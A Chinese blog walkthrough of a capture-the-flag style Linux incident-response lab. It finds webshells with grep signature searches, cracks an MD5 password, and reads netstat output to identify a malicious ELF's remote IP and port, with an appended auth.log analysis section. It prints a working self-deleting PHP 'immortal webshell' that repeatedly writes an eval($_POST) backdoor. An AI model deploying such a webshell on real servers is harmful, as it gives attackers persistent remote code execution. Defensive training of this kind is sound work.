【玄机】第一章 应急响应- Linux入侵排查

开启环境用xshell连接

进来后先看第一题

那么我们找一下web目录

这个路径是用来web服务器文件的默认路径

这里有两种方法排查

一种是手工排查

另一种是工具排查(将这个目录下载出来,用D盾或者河马进行排查)

这里用手工进行排查(在比赛一些没有工具的环境下比较方便)

虽然说这里的文件少可以一个一个看过去,但避免文件多的情况我们用命名进行查找

题目中提到木马那么就用find来定位木马的特征
 

find ./ type f -name “.jsp" | xargs grep “exec(”
find ./ type f -name ".php” | xargs grep “eval(”
find ./ type f -name “.asp" | xargs grep “execute(”
find ./ type f -name ".aspx” | xargs grep “eval(”

这些都是木马常用的特征

我们一个一个试过去看看那条有用

find ./ -type f -name "*.php" | xargs grep "eval("

三个文件有木马

很明显第一题的答案不是1就是pass

试了一下第一题的答案是

flag{1}

 接下第二题

不死马

<?php
set_time_limit(0); // 用来让这个 php 文件能永久执行,否则会有超时时间
ignore_user_abort(1); // 让客户端只连接一次就能一直运行,否则客户端关闭页面就会停止
unlink(__FILE__); // 把自身文件删除

while (1) {
    $content = '<?php @eval($_POST["cmd"]); ?>'; // 设置一句话
    file_put_contents("shell.php", $content); // 将一句话写入到文件中
    usleep(1000000); // 间隔时间
}
?>

刚刚在做第一题的时候查到三个木马文件我们接着看

在index.php中看到MD5加密的密码,用网站解密一下MD5

第二题的答案

flag{hello}

接下来看第三题

我们在第二题index.php中找到了不死马的密码

那么可以推出了不死马是在index.php文件生成的

flag{index.php}

接下来看第四题

在目录下看到elf后缀的可疑文件

.elf文件
.elf 文件是指可执行与可链接格式(Executable and Linkable Format, ELF),它是一种常见的文件格式,用于存储可执行文件、目标代码、共享库以及核心转储(core dump)。ELF 文件主要在 Unix 和 Unix-like 操作系统中使用,包括 Linux、BSD、Solaris 等。

ELF 文件的主要用途:
可执行文件:包含可以直接运行的程序代码。
目标代码文件:编译器生成的中间文件,通常在链接过程中使用。
共享库:动态链接库(DLL),可以在多个程序之间共享代码。
核心转储:存储程序崩溃时的内存状态,用于调试。
ELF 文件的结构:
ELF 文件具有复杂的内部结构,主要由以下几个部分组成:

ELF Header:文件头,包含文件类型、架构、入口点地址等基本信息。
Program Headers:描述了如何将文件加载到内存中。
Section Headers:描述了文件中的各个段及其属性。
Sections:文件的实际内容,如代码段、数据段、符号表等。
Symbols Table:包含符号信息,用于链接和调试。
String Table:包含字符串常量,如符号名称。
Relocation Tables:包含重定位信息,用于链接过程中的地址调整。

我们运行一下这个文件

可以看到没有权限,我们这里提一下权

运行了,重新打开一个连接用来查看连接情况

netstat -antlp | more

字段解释

  1. Proto: 协议(Protocol)​

    • 显示协议类型,常见的有 TCP 和 UDP
    • 例如:TCP 表示传输控制协议,UDP 表示用户数据报协议。
  2. Recv-Q: 接收队列(Receive Queue)​

    • 显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。
    • 例如:0 表示接收队列为空,所有数据已被处理。
  3. Send-Q: 发送队列(Send Queue)​

    • 显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。
    • 例如:0 表示发送队列为空,所有数据已被远程主机接收。
  4. Local Address: 本地地址

    • 显示本地端的 IP 地址和端口号。
    • 例如:0.0.0.0:80 表示本地所有 IP 地址上的 80 端口。
  5. Foreign Address: 远程地址

    • 显示远程端的 IP 地址和端口号。
    • 例如:192.168.1.1:12345 表示远程 IP 为 192.168.1.1 的 12345 端口。
  6. State: 状态

    • 显示连接的状态。常见状态有:
      • LISTEN: 正在监听连接。
      • ESTABLISHED: 已建立连接。
      • CLOSE_WAIT: 等待关闭连接。
      • TIME_WAIT: 等待足够的时间以确保远程主机收到关闭请求。
  7. PID/Program name: 进程 ID 和程序名

    • 显示使用该连接的进程的进程 ID 和程序名。
    • 例如:1234/nginx 表示进程 ID 为 1234 的 nginx 程序。

 一个本地一个远程

外来的嘛那就是远程很明显了

flag{10.11.55.21}

接下来看第5题

什么是监听端口号?

监听端口号(Listening Port)是网络通信中用于等待和接收传入连接请求的端口号。服务器或服务在特定端口上监听,以便与客户端建立连接。这种机制确保了网络应用程序能够接收和处理来自其他网络设备的请求。

基本概念

端口号
  • 端口号是计算机网络中用于标识特定应用程序或进程的逻辑端点。
  • 端口号的范围是 ​0 到 65535,其中:
    • 0 到 1023:系统保留端口,通常用于知名服务(如 HTTP:80、HTTPS:443、SSH:22)。
    • 1024 到 49151:注册端口,用于用户应用程序。
    • 49152 到 65535:动态或私有端口,通常用于临时连接。
监听(Listening)​
  • 当一个应用程序或服务在某个端口上“监听”时,它会在该端口等待并准备接受来自客户端的连接请求。
  • 例如:
    • Web 服务器在端口 ​80​ 上监听 HTTP 请求。
    • SSH 服务在端口 ​22​ 上监听远程登录请求。

那么从上一题中我们不难看出监听端口号就在ip的后门

flag{3333}

注意:

用工具就将文件下载出来后用D盾或者河马进行文件夹,便可以看到木马文件,点进去查看就可以了。

最后两题还是得在xhsell连接上完成方便

### Linux应急处理 第一章 内容 #### 1. 环境介绍 在进行Linux应急响应时,首先要确认当前系统的环境。对于Debian系统而言,可以通过命令`lsb_release -a`来查看发行版的具体信息[^1]。 ```bash root@ip-10-0-10-2:~# lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux 10 (buster) Release: 10 Codename: buster ``` #### 2. 日志分析基础 日志文件是应急响应中的重要资源之一,在Linux系统中尤其如此。除了常见的syslog外,还存在专门用于记录认证事件的日志文件——`/var/log/auth.log`。此文件不仅限于保存用户的登录尝试情况,还包括了更多类型的账户活动详情[^2]。 为了防止因二进制数据导致的错误输出,在使用工具如`grep`读取这些特殊格式的日志条目时应加上选项`-a`以确保正常解析文本内容: ```bash cat /var/log/auth.log | grep -a "关键词" ``` #### 3. 安全审计案例研究 针对特定场景下的安全审查工作,比如检测是否存在暴力破解攻击行为,则可以利用shell脚本组合多个命令实现自动化统计功能。例如计算某个时间段内成功登陆次数最多的IP地址及其对应的访问频率: ```bash cat /var/log/auth.log* | grep -a "Accepted" | awk '{print $11}' | sort -nr | uniq -c ``` 上述指令将会筛选出所有成功的SSH连接请求,并按照远程主机名或公网IPv4地址分组计数显示出来[^4]。 #### 4. 实战练习提示 当面对实际问题时,可能会遇到各种意外状况,像之前提到过的由于未正确设置参数而引起的程序异常终止等问题都属于常见挑战的一部分。因此建议读者多加实践并熟悉常用调试技巧,以便能够在真实环境中快速定位并解决问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值